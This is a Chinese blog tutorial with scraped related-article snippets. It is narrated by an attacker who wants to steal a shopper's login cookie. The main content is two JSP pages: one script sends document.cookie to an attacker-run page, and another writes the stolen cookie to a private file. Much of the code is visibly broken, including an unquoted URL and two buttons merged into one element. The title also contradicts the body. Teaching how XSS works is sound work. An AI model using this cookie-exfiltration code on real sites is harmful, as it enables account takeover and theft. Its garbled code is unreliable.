XSS研究1-来自内部的XSS攻击

引入:

上文中我们的例子是研究了来自内部的XSS攻击,通过输送一段有害js代码到受害者的机器,让其在受害者的域上运行这段有害JS代码来得到入侵目的。现在我们来看下来自外部的XSS攻击。

实践:

下面还是按照惯例,我用白话文来解释下什么是来自外部的XSS攻击。

假设我是攻击者,A是受害者,我知道A有个习惯,他会经常去某个奢侈品消费网站登录,然后每次登录用他的积分买很多东西,我没钱,我想通过A的账号 密码登录同样的网站,然后用他的积分去买东西给我自己。显然因为A知道我是受害者,所以我直接问A要账号密码,他肯定会报警的,怎么办呢?

这时候,我知道A经常在同一机器上登录,然后Cookie信息会存放在他那台机器的本地,于是,我就想办法植入一段恶意脚本在哪个奢侈品网站上,因 为A每次登录,它的信息都会存在Cookie中,然后我的恶意脚本就会每次从他的Cookie中读取信息,然后发送到我自己架设的服务器上,然后我自己架 设的服务器有一段代码会吧这个Cookie信息存放在本地的一个私密的文本文件中,这样他每次登录,我就能在我本地的文本文件中知道A的Cookie信息 了。当然了,为了触发那段恶意脚本,我必须确保A会点击我要的有恶意脚本的链接,我肯定会伪装一下,比如还是最常用的美女图片。

好,我们开始例子:

首先,我会在自己的磁盘目录上创建一个文本文件,比如说D:\privateLocation\stealCookieFile.txt

这个文件的作用是专门用来存储我盗取A的Cookie信息的。

然后,我就开始伪造一个带有恶意脚本的页面了:

<%@ page language="java" contentType="text/html; charset=UTF-8"

    pageEncoding="UTF-8"%>

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

<title>受害者页面,这个页面后台有XSS漏洞</title>

</head>

<script type="text/javascript">

//创建一个cookie

function createCookie(username,password){

    console.log("invoking createCookie(username,password) method");

    //设置cookie的到期时间,假设30天后到期

    var expires =new Date();

    expires.setTime(expires.getTime()+30*24*3600*1000);

    var expireInfo="expires="+expires.toUTCString();

                                                                                                                                                                                                                                                                                                                                                                                                   

    document.cookie=username+"="+password+";"+expireInfo;

    console.log("current cookie:"+document.cookie);

}

//盗用cookie

 function stealCookie(){

     window.open(http://localhost:8080/XSSDemo/xss_victom2.jsp?cookie=+document.cookie)

 }

</script>

<body>

<form  method="post">

<p>

<span>用户名:charles,密码 123456</span>

<span>假定用户点击下面按钮会触发新建一个cookie并且存入,点击更下面一个按钮会盗用刚创建的cookie</span>

</p>

<input type="button" value="点击按钮会创建一个新cookie"  type="button" value="点击按钮会盗用当前的cookie" onclick="stealCookie()"/>

</form>

</body>

</html>

为了简单起见,假设这个页面是这个奢侈品网站的页面,为了模拟登录,我提供了2个按钮,假设点击第一个按钮会创建一个当前用户Cookie(或者自 动登录就是直接从Cookie中拿取用户信息),默认情况下,一般用户都会去登录页面的, 所以我这里也假定默认第一个按钮用户肯定会点的,然后第二个按钮是重点,它的背后会有一段恶意脚本,来盗取当前用户的Cookie.

然后在我盗取A的Cookie后,我得吧这个用户A的Cookie信息存起来到我的本地,以便下次我可以利用他的信息进行登录同样网站来买东西。

<%@ page language="java" contentType="text/html; charset=UTF-8"

    pageEncoding="UTF-8"%>

<%@page import="java.io.FileOutputStream,java.io.File,java.io.IOException" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

<title>XSS盗用Cookie的Demo</title>

</head>

<body>

<%

//首先构造一个路径,这路径上的文本文件专门用来存放盗用的cookie

String stealCookieFile = "D:/privateLocation/stealCookieFile.txt";

out.println("准备存入盗取的cookie信息到:"+stealCookieFile+"<br>");

//获取提交过来的cookie值

String cookie= request.getParameter("cookie");

out.println("cookie信息:"+cookie+"<br>");

FileOutputStream fos = new FileOutputStream( new File(stealCookieFile));

try{

    fos.write(cookie.getBytes());

}catch(IOException ex){

    out.println("写入失败");

}finally{

    if(fos!=null){

        fos.close();

    }

}

%>

</body>

</html>

有了上述的1个文本文件和2个JSP代码之后,我们就可以来Demo了。

首先,我创建了恶意页面,假定用户已经登录了,为了模拟这种情况,需要用户点击第一个按钮:

从Console看出,已经点击了第一个按钮,这时候,其状态就相当于有一个Cookie:  charles=123456,这个信息存在在A的本地了。

现在,我要诱惑A去点击第二个按钮(假设是一个美女图片或者是非常吸引人的消息) ,当A点击了第二个按钮之后,他上当了,他的这个Cookie信息被我正确的拿到并且存放在我的本地文件中:

我去检查本地文件,果然发现A的Cookie信息被正确拿到了:

总结:

所谓外部的XSS攻击,其实是通过让用户执行一段恶意脚本,然后这段脚本会吧敏感信息偷偷的“偷”出来,然后放入攻击者的想要的地方,这些敏感信息 可以是Cookie,user-agent或者其他的,反正js能拿到的信息,这里都可以,如果攻击者很恶意,他就可以拿到这些信息去做一些非法事情。打 个不恰当的比方,比如我(入侵者)要窃取某个国家(受 害者)的战时绝密情报(比如Cookie信息),但是因为他们国家防范措施太好(同源策略) ,我没办法直接拿到,于是我买通了他们国家某个人(比如色情图片链接),然后约定每当该国家发布情报时候(也就是受害者访问某网站),就把这个情报(对应 Cookie)丢到某个指定情报交换位置(我架设的另外一台服务器),然后我从那个位置中获取这个情报(从请求对象中获取Cookie信息),然后解析它 (读取Cookie),并且存放到我自己的情报库中(我本地的私密文件中)。

时间: 2024-10-07 16:01:42

XSS研究1-来自内部的XSS攻击的相关文章

XSS研究2-来自内部的XSS攻击的防范

引入: 前面我们分2篇文章分别探讨了来自外部的XSS攻击和来自内部的XSS攻击,现在我们来专门探讨如何防范来自内部的XSS攻击.   实践:  http://www.cnblogs.com/crazylqy/p/4146740.html 文章中可以看出,主要的攻击手段无外乎是发送了一段恶意脚本到受害者机器上去运行,所以我们的思路就是,如何让这段脚本失效.   因为脚本的组成部分是<script>和</script>,而这其中最主要的是大于号和小于号字符,所以我们只要在请求中,把 大

xss (Cross Site Scripting)跨站脚本攻击

XSS攻击:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS. XSS攻击分成两类: 一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞. 另一类则是来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页.如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构

总结 XSS 与 CSRF 两种跨站攻击

在那个年代,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式.在这个年代, 参数化查询 [1] 已经成了普遍用法,我们已经离 SQL 注入很远了.但是,历史同样悠久的 XSS 和 CSRF 却没有远离我们.由于之前已经对 XSS 很熟悉了,所以我对用户输入的数据一直非常小心.如果输入的时候没有经过 Tidy 之类的过滤,我一定会在模板输出时候全部转义.所以个人感觉,要避免 XSS 也是很容易的,重点是要“小心”.但最近又听说了另一种跨站攻击 CS

XSS与CSRF两种跨站攻击总结

在那个年代,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式.在这个年代, 参数化查询 [1] 已经成了普遍用法,我们已经离 SQL 注入很远了.但是,历史同样悠久的 XSS 和 CSRF 却没有远离我们.由于之前已经对 XSS 很熟悉了,所以我对用户输入的数据一直非常小心.如果输入的时候没有经过 Tidy 之类的过滤,我一定会在模板输出时候全部转义.所以个人感觉,要避免 XSS 也是很容易的,重点是要“小心”.但最近又听说了另一种跨站攻击 CS

DOM based XSS Prevention Cheat Sheet(DOM Based XSS防御检查单)

本文为翻译版本,原文请查看 https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet 介绍 谈到XSS攻击,有三种公认的形式,Stored. Reflected 和 DOM Based XSS. XSS Prevention Cheatsheet可以有效地解决 Stored. Reflected XSS攻击, 本检查单解决了 DOM Based XSS攻击,是 XSS Prevention Cheatsheet 的延

Atitit.&#160;Xss&#160;漏洞的原理and应用xss木马

Atitit. Xss 漏洞的原理and应用xss木马 1. XSS漏洞1 2. XSS的用途2 2.1. 盗取cookie2 2.2. 刷新流量 刷分3 2.3. DOS 窃取隐私”.“假冒身份”.“WEB蠕虫3 2.4. 广告植入 弹窗 .信息收集 .流量转发 甚至是路由劫持3 2.5. 钓鱼攻击,高级的钓鱼技巧.3 2.6. 删除目标文章.恶意篡改数据.嫁祸.3 2.7. 劫持用户Web行为,甚至进一步渗透内网.3 2.8. 爆发Web2.0蠕虫.3 2.9. 蠕虫式的DDoS攻击.3 2

XSS跨站脚本(pikachu)——反射型xss(get和post)

XSS漏洞是危害比较大的一个漏洞了,主要危害的是前端用户.XSS漏洞可以用来进行钓鱼攻击,前端JS挖矿,用户cookie获取.甚至可以结合浏览器自身的漏洞对用户主机进行远程控制. 这是我从B站学习视频上截取到的攻击过程的图片觉得比较生动形象.  我们需要了解XSS的三种基本类型 反射型XSS:<非持久化> 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一次性,所见即所得,一般容易出现在搜索页面. 存储型XSS:<持久化>

小白日记49:kali渗透测试之Web渗透-XSS(三)-存储型XSS、DOM型XSS、神器BEFF

存储型XSS与DOM型XSS [XSS原理] 存储型XSS 1.可长期存储于服务器端 2.每次用户访问都会被执行js脚本,攻击者只需侦听指定端口 #攻击利用方法大体等于反射型xss利用 ##多出现在留言板等位置 *推荐使用burpsuite a.观察返回结果,是否原封不动地返回输入数据?是否有其他标签 js代码通过留言板存储在服务器中,所以每次点击留言板链接,都会弹出xss弹窗 b.测试加载攻击者控制的服务器中的js文件 #启动apache2[默认侦听80端口] a.js [盗取客户端cooki

escape.alf.nu XSS Challenges 0-7 之一步步学XSS

本文链接:http://blog.csdn.net/u012763794/article/details/51507593 以下挑战来源于:http://escape.alf.nu/ 你可能需要html,css,javascript,正则表达式的知识,没有的赶紧学吧 之前在合天也做了一点实验总结什么的 跨站脚本攻击基础 http://blog.csdn.net/u012763794/article/details/45869479 XSS进阶一 http://blog.csdn.net/u012